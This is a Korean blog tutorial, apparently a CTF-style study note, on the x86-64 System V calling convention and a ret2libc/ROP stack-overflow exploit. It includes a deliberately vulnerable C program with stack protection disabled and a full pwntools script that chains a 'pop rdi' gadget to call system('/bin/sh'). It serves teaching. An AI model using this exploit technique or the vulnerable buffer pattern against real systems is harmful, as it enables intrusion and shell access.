Solaris, Linux, FreeBSD, MacOS 에서는 System V AMD64 ABI 호출 규약을 사용한다. 해당 호출 규약은 다음과 같은 특징이 있다.
레지스터 RDI, RSI, RDX, RCX, R8 및 R9는 정수 및 메모리 주소 인수가 전달된다.
레지스터 XMM0, XMM1, XMM2, XMM3, XMM4, XMM5, XMM6및 XMM7은 부동 소수점 인수가 전달된다. 반환값은 EAX에 저장된다.
System V AMD64 ABI 함수 호출 규약을 확인하기 위해 코드로 확인해보면 다음과 같다.
//gcc -o test test.c
#include <stdlib.h>
#include <stdio.h>
void vuln(int a,int b,int c,int d){
printf("%d, %d, %d, %d",a,b,c,d);
}
void main(){
vuln(1,2,3,4);
}
다음과 같이 각 레지스터에 저장된 vuln()함수의 인자 값을 확인할 수 있다.
vuln()함수는 printf()함수에 인자를 전달하기 위해 인자를 재배치 한다. printf()함수의 첫 번째 인자는 "%d, %d, %d, %d"이다.
printf()함수 호출하기 바로 전에 bp를 걸고 실행하여 각 레지스터에서 printf()함수에 전달되는 인자값을 확인할 수 있다.
rdi 주소에 저장된 값을 확인해보면 printf()함수의 첫 번째 인자인 "%d %d %d %d"임을 확인할 수 있다.
ret2libc 기법을 사용하기 위해서는 각 레지스터에 값을 저장할 수 있어야 한다.
다음과 같은 방법으로 레지스터에 값을 저장할 수 있다.
- Return Address영역에 "pop rdi, ret" 코드가 저장된 주소 값을 저장한다.
- Return Address 다음 영역에 해당 레지스터에 저장할 인자 값을 저장한다.
- 그 다음 영역에 호출할 함수의 주소를 저장한다.
이와 같은 방식을 ROP(Return-oriented programming)라고 한다.
다음과 같은 구조로 ret2libc를 사용할 수 있다.
Return to Shellcode를 확인하기 위해 다음 코드를 사용한다.
// gcc -fno-stack-protector -o ret2libc ret2libc.c -ldl
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
void vuln(){
char buf[50] = "";
void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
printf("Printf() address : %p\n",printf_addr);
read(0, buf, 100);
}
void main(){
vuln();
}
main 함수는 vuln()함수를 호출한다. vuln()함수는 read()함수를 이용해 사용자로부터 100개의 문자를 입력받는다. 입력받는 변수인 buf의 크기가 50바이트이기 때문에 Stack Overflow가 발생한다.
다음과 같이 3곳에 bp를 설정한다.
vuln+0 : vlun()함수의 첫번째 명령어(vlun 함수 시작)
vuln+106 : read()함수 호출
vuln+113 : vlun()함수의 RET명령어
첫 bp까지 실행하면 다음과 같다.
rsp레지스터가 갖고 있는 최상위 stack의 주소는 0x7fffffffde58이다. 0x7fffffffde58 영역에는 Return Address(0x4006f6)이 저장되어 있다.
다음 bp까지 실행하면 다음과 같다.
buf 변수의 위치는 0x7fffffffde10 이며, Return Address의 위치와 72바이트 떨어져 있기 때문에 입력값을 72바이트 이상 입력하면 Retuen Address를 덮어쓸 수 있다.
위와 같이 72바이트 이상 입력하면 Return Address 값이 변경된 것을 확인할 수 있다.
다음과 같이 libc 영역에서 system()함수 주소를 찾을 수 있다.
다음과 같이 "/bin/sh" 문자열을 찾을 수 있다.
다음과 같이 ROP gadget을 찾을 수 있다.
찾은 정보들로 익스 코드를 작성하면 다음과 같다.
from pwn import *
p = process('./ret2libc64')
p.recvuntil('Printf() address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr,16)
libcBase = stackAddr - 0x55810
sysAddr = libcBase + 0x453a0
binsh = libcBase + 0x18ce17
poprdi = 0x400763
print hex(libcBase)
print hex(sysAddr)
print hex(binsh)
print hex(poprdi)
ex = "A" * (80 - len(p64(sysAddr)))
ex += p64(poprdi)
ex += p64(binsh)
ex += p64(sysAddr)
p.send(ex)
p.interactive()
'Security & Hacking > Technical & etc.' 카테고리의 다른 글
[Pwnable] Frame faking(Fake EBP)_Lazenka (0) | 2021.05.24 |
---|---|
[Pwnable] PIE 보호기법 (0) | 2021.05.13 |
[Pwnable] ASLR 보호기법 (0) | 2021.05.08 |
[Pwnable] RTL(Retrun To Libc) x86 _ Lazenca (0) | 2021.04.23 |
[System] DEP(NX bit) (0) | 2020.11.13 |